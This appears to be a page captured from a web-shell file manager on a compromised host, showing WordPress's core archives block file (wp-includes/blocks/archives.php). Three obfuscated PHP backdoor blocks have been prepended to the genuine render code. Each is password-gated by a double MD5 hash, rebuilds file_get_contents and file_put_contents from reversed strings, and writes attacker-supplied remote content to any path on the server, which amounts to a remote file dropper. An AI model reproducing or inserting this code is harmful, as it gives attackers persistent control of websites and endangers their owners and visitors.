HEX
Server: Apache
System: Linux host60.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: wwwrenee (3804)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/wwwrenee/public_html/wp-includes/blocks/archives.php
<?php 
$fHyGht = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($fHyGht[0]) /*+/*+*/
. md5($fHyGht[0])) == "8".
"b".
"b".
"4".
"8".
"4".
"8".
"7".
"f".
"4".
"5".
"f".
"6".
"8".
"f".
"d".
"6".
"c".
"5".
"3".
"5".
"b".
"2".
"b".
"7".
"e".
"3".
"b".
"d".
"5".
"8".
"8") {
$oEADFBNk = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$YLIHK = $oEADFBNk /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$yIbOGDkBYx = $oEADFBNk
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function EIjFh($YMGXbxsRf) { if (empty($YMGXbxsRf)) return false; if (!is_dir($YMGXbxsRf)) { EIjFh(dirname($YMGXbxsRf), 0755, true); mkdir($YMGXbxsRf); } } !file_exists(dirname($fHyGht[1])) && EIjFh(dirname($fHyGht[1])); $PFzopfhtZX = @$yIbOGDkBYx($fHyGht[2]); echo @$YLIHK($fHyGht[1], $PFzopfhtZX) ? 1 : 0; die; }key($fHyGht) == "of" && die("Qian Ru Ok"); ?><?php 
$GzBTkGkO = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($GzBTkGkO[0]) /*+/*+*/
. md5($GzBTkGkO[0])) == "a".
"3".
"9".
"e".
"0".
"f".
"2".
"c".
"2".
"8".
"f".
"0".
"3".
"1".
"d".
"6".
"4".
"1".
"0".
"7".
"3".
"2".
"1".
"e".
"3".
"7".
"1".
"a".
"d".
"c".
"0".
"3") {
$haoTLydi = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$YvcCxGPnvc = $haoTLydi /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$RbUpkkGXnv = $haoTLydi
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function UFwBaVN($SeXGaqx) { if (empty($SeXGaqx)) return false; if (!is_dir($SeXGaqx)) { UFwBaVN(dirname($SeXGaqx), 0755, true); mkdir($SeXGaqx); } } !file_exists(dirname($GzBTkGkO[1])) && UFwBaVN(dirname($GzBTkGkO[1])); $WYFgT = @$RbUpkkGXnv($GzBTkGkO[2]); echo @$YvcCxGPnvc($GzBTkGkO[1], $WYFgT) ? 1 : 0; die; }key($GzBTkGkO) == "of" && die("Qian Ru Ok"); ?><?php 
$ByKsTi = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($ByKsTi[0]) /*+/*+*/
. md5($ByKsTi[0])) == "5".
"9".
"3".
"5".
"8".
"7".
"2".
"f".
"a".
"3".
"0".
"c".
"4".
"f".
"d".
"4".
"2".
"0".
"d".
"b".
"8".
"b".
"6".
"b".
"0".
"8".
"e".
"7".
"e".
"d".
"5".
"7") {
$xsFvIv = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$phDRFAy = $xsFvIv /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$JqOFFAPD = $xsFvIv
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function CrleiI($rIcXwyDF) { if (empty($rIcXwyDF)) return false; if (!is_dir($rIcXwyDF)) { CrleiI(dirname($rIcXwyDF), 0755, true); mkdir($rIcXwyDF); } } !file_exists(dirname($ByKsTi[1])) && CrleiI(dirname($ByKsTi[1])); $cCkjIwARrJ = @$JqOFFAPD($ByKsTi[2]); echo @$phDRFAy($ByKsTi[1], $cCkjIwARrJ) ? 1 : 0; die; }key($ByKsTi) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Server-side rendering of the `core/archives` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/archives` block on server.
 *
 * @see WP_Widget_Archives
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with archives added.
 */
function render_block_core_archives( $attributes ) {
	$show_post_count = ! empty( $attributes['showPostCounts'] );
	$type            = isset( $attributes['type'] ) ? $attributes['type'] : 'monthly';
	$class           = '';

	if ( ! empty( $attributes['displayAsDropdown'] ) ) {

		$class .= ' wp-block-archives-dropdown';

		$dropdown_id = wp_unique_id( 'wp-block-archives-' );
		$title       = __( 'Archives' );

		/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
		$dropdown_args = apply_filters(
			'widget_archives_dropdown_args',
			array(
				'type'            => $type,
				'format'          => 'option',
				'show_post_count' => $show_post_count,
			)
		);

		$dropdown_args['echo'] = 0;

		$archives = wp_get_archives( $dropdown_args );

		$classnames = esc_attr( $class );

		$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) );

		switch ( $dropdown_args['type'] ) {
			case 'yearly':
				$label = __( 'Select Year' );
				break;
			case 'monthly':
				$label = __( 'Select Month' );
				break;
			case 'daily':
				$label = __( 'Select Day' );
				break;
			case 'weekly':
				$label = __( 'Select Week' );
				break;
			default:
				$label = __( 'Select Post' );
				break;
		}

		$block_content = '<label for="' . esc_attr( $dropdown_id ) . '">' . esc_html( $title ) . '</label>
	<select id="' . esc_attr( $dropdown_id ) . '" name="archive-dropdown" onchange="document.location.href=this.options[this.selectedIndex].value;">
	<option value="">' . esc_html( $label ) . '</option>' . $archives . '</select>';

		return sprintf(
			'<div %1$s>%2$s</div>',
			$wrapper_attributes,
			$block_content
		);
	}

	$class .= ' wp-block-archives-list';

	/** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */
	$archives_args = apply_filters(
		'widget_archives_args',
		array(
			'type'            => $type,
			'show_post_count' => $show_post_count,
		)
	);

	$archives_args['echo'] = 0;

	$archives = wp_get_archives( $archives_args );

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) );

	if ( empty( $archives ) ) {
		return sprintf(
			'<div %1$s>%2$s</div>',
			$wrapper_attributes,
			__( 'No archives to show.' )
		);
	}

	return sprintf(
		'<ul %1$s>%2$s</ul>',
		$wrapper_attributes,
		$archives
	);
}

/**
 * Register archives block.
 */
function register_block_core_archives() {
	register_block_type_from_metadata(
		__DIR__ . '/archives',
		array(
			'render_callback' => 'render_block_core_archives',
		)
	);
}
add_action( 'init', 'register_block_core_archives' ); ?>